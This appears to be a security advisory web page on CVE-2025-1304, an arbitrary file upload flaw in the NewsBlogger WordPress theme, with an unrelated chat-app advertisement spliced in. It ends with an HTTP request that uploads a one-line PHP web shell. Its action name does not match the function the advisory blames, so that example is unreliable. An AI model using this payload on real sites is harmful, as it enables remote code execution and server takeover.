Overview
In the rapidly evolving digital landscape, cyber threats have become a substantial concern for many organizations. One of the latest vulnerabilities discovered is CVE-2025-1304, which affects the NewsBlogger theme for WordPress, a popular CMS (Content Management System). The vulnerability lies within the newsblogger_install_and_activate_plugin() function, which lacks a necessary capability check, leading to potential unauthorized file uploads.
This vulnerability matters because it gives attackers with subscriber-level access the potential to upload arbitrary files onto the affected site’s server. In a worst-case scenario, this could result in remote code execution, compromising the entire system or leading to substantial data leakage.
Vulnerability Summary
CVE ID: CVE-2025-1304
Severity: High (8.8)
Attack Vector: Network
Privileges Required: Low (Subscriber-level access)
User Interaction: Required
Impact: Potential system compromise or data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
NewsBlogger Theme for WordPress | Up to and including 0.2.5.1
How the Exploit Works
The exploit takes advantage of a missing capability check in the newsblogger_install_and_activate_plugin() function. This function, present in the NewsBlogger WordPress Theme, fails to properly verify the user’s privileges when uploading a file. As a result, even a user with minimal privileges, such as a subscriber, can upload arbitrary files onto the server.
This vulnerability opens the door for a potential remote code execution attack. If an attacker uploads a malicious file and is able to execute it, they could potentially gain control of the server, leading to system compromise or significant data leakage.
Conceptual Example Code
The following is a conceptual example of how an attacker might exploit this vulnerability by sending an HTTP POST request with a malicious file:
POST /wp-admin/admin-ajax.php?action=newsblogger_upload_file HTTP/1.1
Host: target.example.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary7MA4YWxkTrZu0gW
------WebKitFormBoundary7MA4YWxkTrZu0gW
Content-Disposition: form-data; name="file"; filename="malicious.php"
Content-Type: application/x-php
<?php echo shell_exec($_GET['cmd']); ?>
------WebKitFormBoundary7MA4YWxkTrZu0gW--In this example, a PHP file that contains a command execution function is uploaded. If the server processes this file, it could lead to remote code execution, compromising the system.